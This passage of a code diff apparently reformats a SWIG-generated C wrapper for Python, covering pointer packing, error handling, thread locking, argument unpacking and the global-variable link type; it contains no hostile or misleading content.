ptr; - const unsigned char *eu = u + sz; - for (; u != eu; ++u) { - char d = *(c++); - unsigned char uu; - if ((d >= '0') && (d <= '9')) - uu = (unsigned char)((d - '0') << 4); - else if ((d >= 'a') && (d <= 'f')) - uu = (unsigned char)((d - ('a' - 10)) << 4); - else - return (char *) 0; - d = *(c++); - if ((d >= '0') && (d <= '9')) - uu |= (unsigned char)(d - '0'); - else if ((d >= 'a') && (d <= 'f')) - uu |= (unsigned char)(d - ('a' - 10)); - else - return (char *) 0; - *u = uu; - } - return c; + unsigned char *u = (unsigned char *) ptr; + const unsigned char *eu = u + sz; + for (; u != eu; ++u) { + char d = *(c++); + unsigned char uu; + if ((d >= '0') && (d <= '9')) + uu = (unsigned char)((d - '0') << 4); + else if ((d >= 'a') && (d <= 'f')) + uu = (unsigned char)((d - ('a'-10)) << 4); + else + return (char *) 0; + d = *(c++); + if ((d >= '0') && (d <= '9')) + uu |= (unsigned char)(d - '0'); + else if ((d >= 'a') && (d <= 'f')) + uu |= (unsigned char)(d - ('a'-10)); + else + return (char *) 0; + *u = uu; + } + return c; } /* @@ -731,54 +732,54 @@ SWIG_UnpackData(const char *c, void *ptr, size_t sz) { */ SWIGRUNTIME char * SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) { - char *r = buff; - if ((2 * sizeof(void *) + 2) > bsz) return 0; - *(r++) = '_'; - r = SWIG_PackData(r, &ptr, sizeof(void *)); - if (strlen(name) + 1 > (bsz - (r - buff))) return 0; - strcpy(r, name); - return buff; + char *r = buff; + if ((2*sizeof(void *) + 2) > bsz) return 0; + *(r++) = '_'; + r = SWIG_PackData(r,&ptr,sizeof(void *)); + if (strlen(name) + 1 > (bsz - (r - buff))) return 0; + strcpy(r,name); + return buff; } SWIGRUNTIME const char * SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) { - if (*c != '_') { - if (strcmp(c, "NULL") == 0) { - *ptr = (void *) 0; - return name; - } else { - return 0; - } + if (*c != '_') { + if (strcmp(c,"NULL") == 0) { + *ptr = (void *) 0; + return name; + } else { + return 0; } - return SWIG_UnpackData(++c, ptr, sizeof(void *)); + } + return SWIG_UnpackData(++c,ptr,sizeof(void *)); } SWIGRUNTIME char * SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) { - char *r = buff; - size_t lname = (name ? strlen(name) : 0); - if ((2 * sz + 2 + lname) > bsz) return 0; - *(r++) = '_'; - r = SWIG_PackData(r, ptr, sz); - if (lname) { - strncpy(r, name, lname + 1); - } else { - *r = 0; - } - return buff; + char *r = buff; + size_t lname = (name ? strlen(name) : 0); + if ((2*sz + 2 + lname) > bsz) return 0; + *(r++) = '_'; + r = SWIG_PackData(r,ptr,sz); + if (lname) { + strncpy(r,name,lname+1); + } else { + *r = 0; + } + return buff; } SWIGRUNTIME const char * SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { - if (*c != '_') { - if (strcmp(c, "NULL") == 0) { - memset(ptr, 0, sz); - return name; - } else { - return 0; - } + if (*c != '_') { + if (strcmp(c,"NULL") == 0) { + memset(ptr,0,sz); + return name; + } else { + return 0; } - return SWIG_UnpackData(++c, ptr, sz); + } + return SWIG_UnpackData(++c,ptr,sz); } #ifdef __cplusplus @@ -813,7 +814,7 @@ SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { #define PyString_FromString(x) PyUnicode_FromString(x) #define PyString_Format(fmt, args) PyUnicode_Format(fmt, args) #define PyString_AsString(str) PyBytes_AsString(str) -#define PyString_Size(str) PyBytes_Size(str) +#define PyString_Size(str) PyBytes_Size(str) #define PyString_InternFromString(key) PyUnicode_InternFromString(key) #define Py_TPFLAGS_HAVE_CLASS Py_TPFLAGS_BASETYPE #define _PyLong_FromSsize_t(x) PyLong_FromSsize_t(x) @@ -835,32 +836,34 @@ SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { /* Wrapper around PyUnicode_AsUTF8AndSize - call Py_XDECREF on the returned pbytes when finished with the returned string */ SWIGINTERN const char * -SWIG_PyUnicode_AsUTF8AndSize(PyObject *str, Py_ssize_t *psize, PyObject **pbytes) { +SWIG_PyUnicode_AsUTF8AndSize(PyObject *str, Py_ssize_t *psize, PyObject **pbytes) +{ #if PY_VERSION_HEX >= 0x03030000 # if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x030A0000 - *pbytes = NULL; - return PyUnicode_AsUTF8AndSize(str, psize); + *pbytes = NULL; + return PyUnicode_AsUTF8AndSize(str, psize); # else - *pbytes = PyUnicode_AsUTF8String(str); - const char *chars = *pbytes ? PyBytes_AsString(*pbytes) : NULL; - if (chars && psize) - *psize = PyBytes_Size(*pbytes); - return chars; + *pbytes = PyUnicode_AsUTF8String(str); + const char *chars = *pbytes ? PyBytes_AsString(*pbytes) : NULL; + if (chars && psize) + *psize = PyBytes_Size(*pbytes); + return chars; # endif #else - char *chars = NULL; - *pbytes = NULL; - PyString_AsStringAndSize(str, &chars, psize); - return chars; + char *chars = NULL; + *pbytes = NULL; + PyString_AsStringAndSize(str, &chars, psize); + return chars; #endif } -SWIGINTERN PyObject * -SWIG_Python_str_FromChar(const char *c) { +SWIGINTERN PyObject* +SWIG_Python_str_FromChar(const char *c) +{ #if PY_VERSION_HEX >= 0x03000000 - return PyUnicode_FromString(c); + return PyUnicode_FromString(c); #else - return PyString_FromString(c); + return PyString_FromString(c); #endif } @@ -901,107 +904,110 @@ SWIG_Python_str_FromChar(const char *c) { * error manipulation * ----------------------------------------------------------------------------- */ -SWIGRUNTIME PyObject * +SWIGRUNTIME PyObject* SWIG_Python_ErrorType(int code) { - PyObject *type = 0; - switch (code) { - case SWIG_MemoryError: - type = PyExc_MemoryError; - break; - case SWIG_IOError: - type = PyExc_IOError; - break; - case SWIG_RuntimeError: - type = PyExc_RuntimeError; - break; - case SWIG_IndexError: - type = PyExc_IndexError; - break; - case SWIG_TypeError: - type = PyExc_TypeError; - break; - case SWIG_DivisionByZero: - type = PyExc_ZeroDivisionError; - break; - case SWIG_OverflowError: - type = PyExc_OverflowError; - break; - case SWIG_SyntaxError: - type = PyExc_SyntaxError; - break; - case SWIG_ValueError: - type = PyExc_ValueError; - break; - case SWIG_SystemError: - type = PyExc_SystemError; - break; - case SWIG_AttributeError: - type = PyExc_AttributeError; - break; - default: - type = PyExc_RuntimeError; - } - return type; + PyObject* type = 0; + switch(code) { + case SWIG_MemoryError: + type = PyExc_MemoryError; + break; + case SWIG_IOError: + type = PyExc_IOError; + break; + case SWIG_RuntimeError: + type = PyExc_RuntimeError; + break; + case SWIG_IndexError: + type = PyExc_IndexError; + break; + case SWIG_TypeError: + type = PyExc_TypeError; + break; + case SWIG_DivisionByZero: + type = PyExc_ZeroDivisionError; + break; + case SWIG_OverflowError: + type = PyExc_OverflowError; + break; + case SWIG_SyntaxError: + type = PyExc_SyntaxError; + break; + case SWIG_ValueError: + type = PyExc_ValueError; + break; + case SWIG_SystemError: + type = PyExc_SystemError; + break; + case SWIG_AttributeError: + type = PyExc_AttributeError; + break; + default: + type = PyExc_RuntimeError; + } + return type; } SWIGRUNTIME void -SWIG_Python_AddErrorMsg(const char *mesg) { - PyObject *type = 0; - PyObject *value = 0; - PyObject *traceback = 0; +SWIG_Python_AddErrorMsg(const char* mesg) +{ + PyObject *type = 0; + PyObject *value = 0; + PyObject *traceback = 0; - if (PyErr_Occurred()) - PyErr_Fetch(&type, &value, &traceback); - if (value) { - PyObject *old_str = PyObject_Str(value); - PyObject *bytes = NULL; - const char *tmp = SWIG_PyUnicode_AsUTF8AndSize(old_str, NULL, &bytes); - PyErr_Clear(); - Py_XINCREF(type); - if (tmp) - PyErr_Format(type, "%s %s", tmp, mesg); - else - PyErr_Format(type, "%s", mesg); - Py_XDECREF(bytes); - Py_DECREF(old_str); - Py_DECREF(value); - } else { - PyErr_SetString(PyExc_RuntimeError, mesg); - } + if (PyErr_Occurred()) + PyErr_Fetch(&type, &value, &traceback); + if (value) { + PyObject *old_str = PyObject_Str(value); + PyObject *bytes = NULL; + const char *tmp = SWIG_PyUnicode_AsUTF8AndSize(old_str, NULL, &bytes); + PyErr_Clear(); + Py_XINCREF(type); + if (tmp) + PyErr_Format(type, "%s %s", tmp, mesg); + else + PyErr_Format(type, "%s", mesg); + Py_XDECREF(bytes); + Py_DECREF(old_str); + Py_DECREF(value); + } else { + PyErr_SetString(PyExc_RuntimeError, mesg); + } } SWIGRUNTIME int -SWIG_Python_TypeErrorOccurred(PyObject *obj) { - PyObject *error; - if (obj) - return 0; - error = PyErr_Occurred(); - return error && PyErr_GivenExceptionMatches(error, PyExc_TypeError); +SWIG_Python_TypeErrorOccurred(PyObject *obj) +{ + PyObject *error; + if (obj) + return 0; + error = PyErr_Occurred(); + return error && PyErr_GivenExceptionMatches(error, PyExc_TypeError); } SWIGRUNTIME void -SWIG_Python_RaiseOrModifyTypeError(const char *message) { - if (SWIG_Python_TypeErrorOccurred(NULL)) { - /* Use existing TypeError to preserve stacktrace and enhance with given message */ - PyObject *newvalue; - PyObject *type = NULL, *value = NULL, *traceback = NULL; - PyErr_Fetch(&type, &value, &traceback); +SWIG_Python_RaiseOrModifyTypeError(const char *message) +{ + if (SWIG_Python_TypeErrorOccurred(NULL)) { + /* Use existing TypeError to preserve stacktrace and enhance with given message */ + PyObject *newvalue; + PyObject *type = NULL, *value = NULL, *traceback = NULL; + PyErr_Fetch(&type, &value, &traceback); #if PY_VERSION_HEX >= 0x03000000 - newvalue = PyUnicode_FromFormat("%S\nAdditional information:\n%s", value, message); + newvalue = PyUnicode_FromFormat("%S\nAdditional information:\n%s", value, message); #else - newvalue = PyString_FromFormat("%s\nAdditional information:\n%s", PyString_AsString(value), message); + newvalue = PyString_FromFormat("%s\nAdditional information:\n%s", PyString_AsString(value), message); #endif - if (newvalue) { - Py_XDECREF(value); - PyErr_Restore(type, newvalue, traceback); - } else { - PyErr_Restore(type, value, traceback); - } + if (newvalue) { + Py_XDECREF(value); + PyErr_Restore(type, newvalue, traceback); } else { - /* Raise TypeError using given message */ - PyErr_SetString(PyExc_TypeError, message); + PyErr_Restore(type, value, traceback); } + } else { + /* Raise TypeError using given message */ + PyErr_SetString(PyExc_TypeError, message); + } } #if defined(SWIG_PYTHON_NO_THREADS) @@ -1022,22 +1028,22 @@ SWIG_Python_RaiseOrModifyTypeError(const char *message) { # endif # endif # ifdef __cplusplus /* C++ code */ -class SWIG_Python_Thread_Block { - bool status; - PyGILState_STATE state; - public: - void end() { if (status) { PyGILState_Release(state); status = false;} } - SWIG_Python_Thread_Block() : status(true), state(PyGILState_Ensure()) {} - ~SWIG_Python_Thread_Block() { end(); } -}; -class SWIG_Python_Thread_Allow { - bool status; - PyThreadState *save; - public: - void end() { if (status) { status = false; PyEval_RestoreThread(save); }} - SWIG_Python_Thread_Allow() : status(true), save(PyEval_SaveThread()) {} - ~SWIG_Python_Thread_Allow() { end(); } -}; + class SWIG_Python_Thread_Block { + bool status; + PyGILState_STATE state; + public: + void end() { if (status) { PyGILState_Release(state); status = false;} } + SWIG_Python_Thread_Block() : status(true), state(PyGILState_Ensure()) {} + ~SWIG_Python_Thread_Block() { end(); } + }; + class SWIG_Python_Thread_Allow { + bool status; + PyThreadState *save; + public: + void end() { if (status) { status = false; PyEval_RestoreThread(save); }} + SWIG_Python_Thread_Allow() : status(true), save(PyEval_SaveThread()) {} + ~SWIG_Python_Thread_Allow() { end(); } + }; # define SWIG_PYTHON_THREAD_BEGIN_BLOCK SWIG_Python_Thread_Block _swig_thread_block # define SWIG_PYTHON_THREAD_END_BLOCK _swig_thread_block.end() # define SWIG_PYTHON_THREAD_BEGIN_ALLOW SWIG_Python_Thread_Allow _swig_thread_allow @@ -1091,12 +1097,12 @@ extern "C" { /* Constant information structure */ typedef struct swig_const_info { - int type; - const char *name; - long lvalue; - double dvalue; - void *pvalue; - swig_type_info **ptype; + int type; + const char *name; + long lvalue; + double dvalue; + void *pvalue; + swig_type_info **ptype; } swig_const_info; #ifdef __cplusplus @@ -1136,7 +1142,7 @@ typedef struct swig_const_info { #define SWIG_InternalNewPointerObj(ptr, type, flags) SWIG_Python_NewPointerObj(NULL, ptr, type, flags) -#define SWIG_CheckImplicit(ty) SWIG_Python_CheckImplicit(ty) +#define SWIG_CheckImplicit(ty) SWIG_Python_CheckImplicit(ty) #define SWIG_AcquirePtr(ptr, src) SWIG_Python_AcquirePtr(ptr, src) #define swig_owntype int @@ -1163,30 +1169,30 @@ typedef struct swig_const_info { #define SWIG_SetModule(clientdata, pointer) SWIG_Python_SetModule(pointer) #define SWIG_NewClientData(obj) SwigPyClientData_New(obj) -#define SWIG_SetErrorObj SWIG_Python_SetErrorObj -#define SWIG_SetErrorMsg SWIG_Python_SetErrorMsg -#define SWIG_ErrorType(code) SWIG_Python_ErrorType(code) -#define SWIG_Error(code, msg) SWIG_Python_SetErrorMsg(SWIG_ErrorType(code), msg) -#define SWIG_fail goto fail +#define SWIG_SetErrorObj SWIG_Python_SetErrorObj +#define SWIG_SetErrorMsg SWIG_Python_SetErrorMsg +#define SWIG_ErrorType(code) SWIG_Python_ErrorType(code) +#define SWIG_Error(code, msg) SWIG_Python_SetErrorMsg(SWIG_ErrorType(code), msg) +#define SWIG_fail goto fail /* Runtime API implementation */ /* Error manipulation */ -SWIGINTERN void +SWIGINTERN void SWIG_Python_SetErrorObj(PyObject *errtype, PyObject *obj) { - SWIG_PYTHON_THREAD_BEGIN_BLOCK; - PyErr_SetObject(errtype, obj); - Py_DECREF(obj); - SWIG_PYTHON_THREAD_END_BLOCK; + SWIG_PYTHON_THREAD_BEGIN_BLOCK; + PyErr_SetObject(errtype, obj); + Py_DECREF(obj); + SWIG_PYTHON_THREAD_END_BLOCK; } -SWIGINTERN void +SWIGINTERN void SWIG_Python_SetErrorMsg(PyObject *errtype, const char *msg) { - SWIG_PYTHON_THREAD_BEGIN_BLOCK; - PyErr_SetString(errtype, msg); - SWIG_PYTHON_THREAD_END_BLOCK; + SWIG_PYTHON_THREAD_BEGIN_BLOCK; + PyErr_SetString(errtype, msg); + SWIG_PYTHON_THREAD_END_BLOCK; } #define SWIG_Python_Raise(obj, type, desc) SWIG_Python_SetErrorObj(SWIG_Python_ExceptionType(desc), obj) @@ -1197,113 +1203,114 @@ SWIG_Python_SetErrorMsg(PyObject *errtype, const char *msg) { SWIGINTERN void SwigPyBuiltin_AddPublicSymbol(PyObject *seq, const char *key) { - PyObject *s = PyString_InternFromString(key); - PyList_Append(seq, s); - Py_DECREF(s); + PyObject *s = PyString_InternFromString(key); + PyList_Append(seq, s); + Py_DECREF(s); } SWIGINTERN void -SWIG_Python_SetConstant(PyObject *d, PyObject *public_interface, const char *name, PyObject *obj) { - PyDict_SetItemString(d, name, obj); - Py_DECREF(obj); - if (public_interface) - SwigPyBuiltin_AddPublicSymbol(public_interface, name); +SWIG_Python_SetConstant(PyObject *d, PyObject *public_interface, const char *name, PyObject *obj) { + PyDict_SetItemString(d, name, obj); + Py_DECREF(obj); + if (public_interface) + SwigPyBuiltin_AddPublicSymbol(public_interface, name); } #else SWIGINTERN void -SWIG_Python_SetConstant(PyObject *d, const char *name, PyObject *obj) { - PyDict_SetItemString(d, name, obj); - Py_DECREF(obj); +SWIG_Python_SetConstant(PyObject *d, const char *name, PyObject *obj) { + PyDict_SetItemString(d, name, obj); + Py_DECREF(obj); } #endif /* Append a value to the result obj */ -SWIGINTERN PyObject * -SWIG_Python_AppendOutput(PyObject *result, PyObject *obj) { - if (!result) { - result = obj; - } else if (result == Py_None) { - Py_DECREF(result); - result = obj; - } else { - if (!PyList_Check(result)) { - PyObject *o2 = result; - result = PyList_New(1); - if (result) { - PyList_SET_ITEM(result, 0, o2); - } else { - Py_DECREF(obj); - return o2; - } - } - PyList_Append(result, obj); +SWIGINTERN PyObject* +SWIG_Python_AppendOutput(PyObject* result, PyObject* obj) { + if (!result) { + result = obj; + } else if (result == Py_None) { + Py_DECREF(result); + result = obj; + } else { + if (!PyList_Check(result)) { + PyObject *o2 = result; + result = PyList_New(1); + if (result) { + PyList_SET_ITEM(result, 0, o2); + } else { Py_DECREF(obj); + return o2; + } } - return result; + PyList_Append(result,obj); + Py_DECREF(obj); + } + return result; } /* Unpack the argument tuple */ SWIGINTERN Py_ssize_t -SWIG_Python_UnpackTuple(PyObject *args, const char *name, Py_ssize_t min, Py_ssize_t max, PyObject **objs) { - if (!args) { - if (!min && !max) { - return 1; - } else { - PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got none", - name, (min == max ? "" : "at least "), (int)min); - return 0; - } - } - if (!PyTuple_Check(args)) { - if (min <= 1 && max >= 1) { - Py_ssize_t i; - objs[0] = args; - for (i = 1; i < max; ++i) { - objs[i] = 0; - } - return 2; - } - PyErr_SetString(PyExc_SystemError, "UnpackTuple() argument list is not a tuple"); - return 0; +SWIG_Python_UnpackTuple(PyObject *args, const char *name, Py_ssize_t min, Py_ssize_t max, PyObject **objs) +{ + if (!args) { + if (!min && !max) { + return 1; } else { - Py_ssize_t l = PyTuple_GET_SIZE(args); - if (l < min) { - PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", - name, (min == max ? "" : "at least "), (int)min, (int)l); - return 0; - } else if (l > max) { - PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", - name, (min == max ? "" : "at most "), (int)max, (int)l); - return 0; - } else { - Py_ssize_t i; - for (i = 0; i < l; ++i) { - objs[i] = PyTuple_GET_ITEM(args, i); - } - for (; l < max; ++l) { - objs[l] = 0; - } - return i + 1; - } + PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got none", + name, (min == max ? "" : "at least "), (int)min); + return 0; } + } + if (!PyTuple_Check(args)) { + if (min <= 1 && max >= 1) { + Py_ssize_t i; + objs[0] = args; + for (i = 1; i < max; ++i) { + objs[i] = 0; + } + return 2; + } + PyErr_SetString(PyExc_SystemError, "UnpackTuple() argument list is not a tuple"); + return 0; + } else { + Py_ssize_t l = PyTuple_GET_SIZE(args); + if (l < min) { + PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", + name, (min == max ? "" : "at least "), (int)min, (int)l); + return 0; + } else if (l > max) { + PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", + name, (min == max ? "" : "at most "), (int)max, (int)l); + return 0; + } else { + Py_ssize_t i; + for (i = 0; i < l; ++i) { + objs[i] = PyTuple_GET_ITEM(args, i); + } + for (; l < max; ++l) { + objs[l] = 0; + } + return i + 1; + } + } } SWIGINTERN int SWIG_Python_CheckNoKeywords(PyObject *kwargs, const char *name) { - int no_kwargs = 1; - if (kwargs) { - assert(PyDict_Check(kwargs)); - if (PyDict_Size(kwargs) > 0) { - PyErr_Format(PyExc_TypeError, "%s() does not take keyword arguments", name); - no_kwargs = 0; - } + int no_kwargs = 1; + if (kwargs) { + assert(PyDict_Check(kwargs)); + if (PyDict_Size(kwargs) > 0) { + PyErr_Format(PyExc_TypeError, "%s() does not take keyword arguments", name); + no_kwargs = 0; } - return no_kwargs; + } + return no_kwargs; } /* A functor is a function object with one single object argument */ @@ -1327,247 +1334,247 @@ extern "C" { #define SWIG_newvarlink() SWIG_Python_newvarlink() #define SWIG_addvarlink(p, name, get_attr, set_attr) SWIG_Python_addvarlink(p, name, get_attr, set_attr) #define SWIG_InstallConstants(d, constants) SWIG_Python_InstallConstants(d, constants) - + /* ----------------------------------------------------------------------------- * global variable support code. * ----------------------------------------------------------------------------- */ - -typedef struct swig_globalvar { - char *name; /* Name of global variable */ - PyObject *(*get_attr)(void); /* Return the current value */ - int (*set_attr)(PyObject *); /* Set the value */ - struct swig_globalvar *next; + +typedef struct swig_globalvar { + char *name; /* Name of global variable */ + PyObject *(*get_attr)(void); /* Return the current value */ + int (*set_attr)(PyObject *); /* Set the value */ + struct swig_globalvar *next; } swig_globalvar; typedef struct swig_varlinkobject { - PyObject_HEAD - swig_globalvar *vars; + PyObject_HEAD + swig_globalvar *vars; } swig_varlinkobject; SWIGINTERN PyObject * swig_varlink_repr(PyObject *SWIGUNUSEDPARM(v)) { #if PY_VERSION_HEX >= 0x03000000 - return PyUnicode_InternFromString(""); + return PyUnicode_InternFromString(""); #else - return PyString_FromString(""); + return PyString_FromString(""); #endif } SWIGINTERN PyObject * swig_varlink_str(PyObject *o) { - swig_varlinkobject *v = (swig_varlinkobject *) o; + swig_varlinkobject *v = (swig_varlinkobject *) o; #if PY_VERSION_HEX >= 0x03000000 - PyObject *str = PyUnicode_InternFromString("("); - PyObject *tail; - PyObject *joined; - swig_globalvar *var; - for (var = v->vars; var; var = var->next) { - tail = PyUnicode_FromString(var->name); - joined = PyUnicode_Concat(str, tail); - Py_DecRef(str); - Py_DecRef(tail); - str = joined; - if (var->next) { - tail = PyUnicode_InternFromString(", "); - joined = PyUnicode_Concat(str, tail); - Py_DecRef(str); - Py_DecRef(tail); - str = joined; - } - } - tail = PyUnicode_InternFromString(")"); + PyObject *str = PyUnicode_InternFromString("("); + PyObject *tail; + PyObject *joined; + swig_globalvar *var; + for (var = v->vars; var; var=var->next) { + tail = PyUnicode_FromString(var->name); joined = PyUnicode_Concat(str, tail); Py_DecRef(str); Py_DecRef(tail); str = joined; -#else - PyObject *str = PyString_FromString("("); - swig_globalvar *var; - for (var = v->vars; var; var = var->next) { - PyString_ConcatAndDel(&str, PyString_FromString(var->name)); - if (var->next) PyString_ConcatAndDel(&str, PyString_FromString(", ")); + if (var->next) { + tail = PyUnicode_InternFromString(", "); + joined = PyUnicode_Concat(str, tail); + Py_DecRef(str); + Py_DecRef(tail); + str = joined; } - PyString_ConcatAndDel(&str, PyString_FromString(")")); + } + tail = PyUnicode_InternFromString(")"); + joined = PyUnicode_Concat(str, tail); + Py_DecRef(str); + Py_DecRef(tail); + str = joined; +#else + PyObject *str = PyString_FromString("("); + swig_globalvar *var; + for (var = v->vars; var; var=var->next) { + PyString_ConcatAndDel(&str,PyString_FromString(var->name)); + if (var->next) PyString_ConcatAndDel(&str,PyString_FromString(", ")); + } + PyString_ConcatAndDel(&str,PyString_FromString(")")); #endif - return str; + return str; } SWIGINTERN void swig_varlink_dealloc(PyObject *o) { - swig_varlinkobject *v = (swig_varlinkobject *) o; - swig_globalvar *var = v->vars; - while (var) { - swig_globalvar *n = var->next; - free(var->name); - free(var); - var = n; - } + swig_varlinkobject *v = (swig_varlinkobject *) o; + swig_globalvar *var = v->vars; + while (var) { + swig_globalvar *n = var->next; + free(var->name); + free(var); + var = n; + } } SWIGINTERN PyObject * swig_varlink_getattr(PyObject *o, char *n) { - swig_varlinkobject *v = (swig_varlinkobject *) o; - PyObject *res = NULL; - swig_globalvar *var = v->vars; - while (var) { - if (strcmp(var->name, n) == 0) { - res = (*var->get_attr)(); - break; - } - var = var->next; + swig_varlinkobject *v = (swig_varlinkobject *) o; + PyObject *res = NULL; + swig_globalvar *var = v->vars; + while (var) { + if (strcmp(var->name,n) == 0) { + res = (*var->get_attr)(); + break; } - if (res == NULL && !PyErr_Occurred()) { - PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); - } - return res; + var = var->next; + } + if (res == NULL && !PyErr_Occurred()) { + PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); + } + return res; } SWIGINTERN int swig_varlink_setattr(PyObject *o, char *n, PyObject *p) { - swig_varlinkobject *v = (swig_varlinkobject *) o; - int res = 1; - swig_globalvar *var = v->vars; - while (var) { - if (strcmp(var->name, n) == 0) { - res = (*var->set_attr)(p); - break; - } - var = var->next; + swig_varlinkobject *v = (swig_varlinkobject *) o; + int res = 1; + swig_globalvar *var = v->vars; + while (var) { + if (strcmp(var->name,n) == 0) { + res = (*var->set_attr)(p); + break; } - if (res == 1 && !PyErr_Occurred()) { - PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); - } - return res; + var = var->next; + } + if (res == 1 && !PyErr_Occurred()) { + PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); + } + return res; } -SWIGINTERN PyTypeObject * +SWIGINTERN PyTypeObject* swig_varlink_type(void) { - static char varlink__doc__[] = "Swig var link object"; + static char varlink__doc__[] = "Swig var link object"; #ifndef Py_LIMITED_API - static PyTypeObject varlink_type; - static int type_init = 0; - if (!type_init) { - const PyTypeObject tmp = { + static PyTypeObject varlink_type; + static int type_init = 0; + if (!type_init) { + const PyTypeObject tmp = { #if PY_VERSION_HEX >= 0x03000000 - PyVarObject_HEAD_INIT(NULL, 0) + PyVarObject_HEAD_INIT(NULL, 0) #else - PyObject_HEAD_INIT(NULL) - 0, /* ob_size */ + PyObject_HEAD_INIT(NULL) + 0, /* ob_size */ #endif - "swigvarlink", /* tp_name */ - sizeof(swig_varlinkobject), /* tp_basicsize */ - 0, /* tp_itemsize */ - (destructor) swig_varlink_dealloc, /* tp_dealloc */ + "swigvarlink", /* tp_name */ + sizeof(swig_varlinkobject), /* tp_basicsize */ + 0, /* tp_itemsize */ + (destructor) swig_varlink_dealloc, /* tp_dealloc */ #if PY_VERSION_HEX < 0x030800b4 - (printfunc)0, /*tp_print*/ + (printfunc)0, /*tp_print*/ #else - (Py_ssize_t)0, /*tp_vectorcall_offset*/ + (Py_ssize_t)0, /*tp_vectorcall_offset*/ #endif - (getattrfunc) swig_varlink_getattr, /* tp_getattr */ - (setattrfunc) swig_varlink_setattr, /* tp_setattr */ - 0, /* tp_compare */ - (reprfunc) swig_varlink_repr, /* tp_repr */ - 0, /* tp_as_number */ - 0, /* tp_as_sequence */ - 0, /* tp_as_mapping */ - 0, /* tp_hash */ - 0, /* tp_call */ - (reprfunc) swig_varlink_str, /* tp_str */ - 0, /* tp_getattro */ - 0, /* tp_setattro */ - 0, /* tp_as_buffer */ - 0, /* tp_flags */ - varlink__doc__, /* tp_doc */ - 0, /* tp_traverse */ - 0, /* tp_clear */ - 0, /* tp_richcompare */ - 0, /* tp_weaklistoffset */ - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* tp_iter -> tp_weaklist */ - 0, /* tp_del */ - 0, /* tp_version_tag */ + (getattrfunc) swig_varlink_getattr, /* tp_getattr */ + (setattrfunc) swig_varlink_setattr, /* tp_setattr */ + 0, /* tp_compare */ + (reprfunc) swig_varlink_repr, /* tp_repr */ + 0, /* tp_as_number */ + 0, /* tp_as_sequence */ + 0, /* tp_as_mapping */ + 0, /* tp_hash */ + 0, /* tp_call */ + (reprfunc) swig_varlink_str, /* tp_str */ + 0, /* tp_getattro */ + 0, /* tp_setattro */ + 0, /* tp_as_buffer */ + 0, /* tp_flags */ + varlink__doc__, /* tp_doc */ + 0, /* tp_traverse */ + 0, /* tp_clear */ + 0, /* tp_richcompare */ + 0, /* tp_weaklistoffset */ + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /* tp_iter -> tp_weaklist */ + 0, /* tp_del */ + 0, /* tp_version_tag */ #if PY_VERSION_HEX >= 0x03040000 - 0, /* tp_finalize */ + 0, /* tp_finalize */ #endif #if PY_VERSION_HEX >= 0x03080000 - 0, /* tp_vectorcall */ + 0, /* tp_vectorcall */ #endif #if (PY_VERSION_HEX >= 0x03080000) && (PY_VERSION_HEX < 0x03090000) - 0, /* tp_print */ + 0, /* tp_print */ #endif #if PY_VERSION_HEX >= 0x030C0000 - 0, /* tp_watched */ + 0, /* tp_watched */ #endif #ifdef COUNT_ALLOCS - 0, /* tp_allocs */ - 0, /* tp_frees */ - 0, /* tp_maxalloc */ - 0, /* tp_prev */ - 0 /* tp_next */ + 0, /* tp_allocs */ + 0, /* tp_frees */ + 0, /* tp_maxalloc */ + 0, /* tp_prev */ + 0 /* tp_next */ #endif - }; - varlink_type = tmp; - type_init = 1; - if (PyType_Ready(&varlink_type) < 0) - return NULL; - } - return &varlink_type; + }; + varlink_type = tmp; + type_init = 1; + if (PyType_Ready(&varlink_type) < 0) + return NULL; + } + return &varlink_type; #else - PyType_Slot slots[] = { - { Py_tp_dealloc, (void *)swig_varlink_dealloc }, - { Py_tp_repr, (void *)swig_varlink_repr }, - { Py_tp_getattr, (void *)swig_varlink_getattr }, - { Py_tp_setattr, (void *)swig_varlink_setattr }, - { Py_tp_str, (void *)swig_varlink_str }, - { Py_tp_doc, (void *)varlink__doc__ }, - { 0, NULL } - }; - PyType_Spec spec = { - "swigvarlink", - sizeof(swig_varlinkobject), - 0, - Py_TPFLAGS_DEFAULT, - slots - }; - return (PyTypeObject *)PyType_FromSpec(&spec); + PyType_Slot slots[] = { + { Py_tp_dealloc, (void *)swig_varlink_dealloc }, + { Py_tp_repr, (void *)swig_varlink_repr }, + { Py_tp_getattr, (void *)swig_varlink_getattr }, + { Py_tp_setattr, (void *)swig_varlink_setattr }, + { Py_tp_str, (void *)swig_varlink_str }, + { Py_tp_doc, (void *)varlink__doc__ }, + { 0, NULL } + }; + PyType_Spec spec = { + "swigvarlink", + sizeof(swig_varlinkobject), + 0, + Py_TPFLAGS_DEFAULT, + slots + }; + return (PyTypeObject *)PyType_FromSpec(&spec); #endif } /* Create a variable linking object for use later */ SWIGINTERN PyObject * SWIG_Python_newvarlink(void) { - swig_varlinkobject *result = PyObject_New(swig_varlinkobject, swig_varlink_type()); - if (result) { - result->vars = 0; - } - return ((PyObject *) result); + swig_varlinkobject *result = PyObject_New(swig_varlinkobject, swig_varlink_type()); + if (result) { + result->vars = 0; + } + return ((PyObject*) result); } -SWIGINTERN void -SWIG_Python_addvarlink(PyObject *p, const char *name, PyObject * (*get_attr)(void), int (*set_attr)(PyObject *p)) { - swig_varlinkobject *v = (swig_varlinkobject *) p; - swig_globalvar *gv = (swig_globalvar *) malloc(sizeof(swig_globalvar)); - if (gv) { 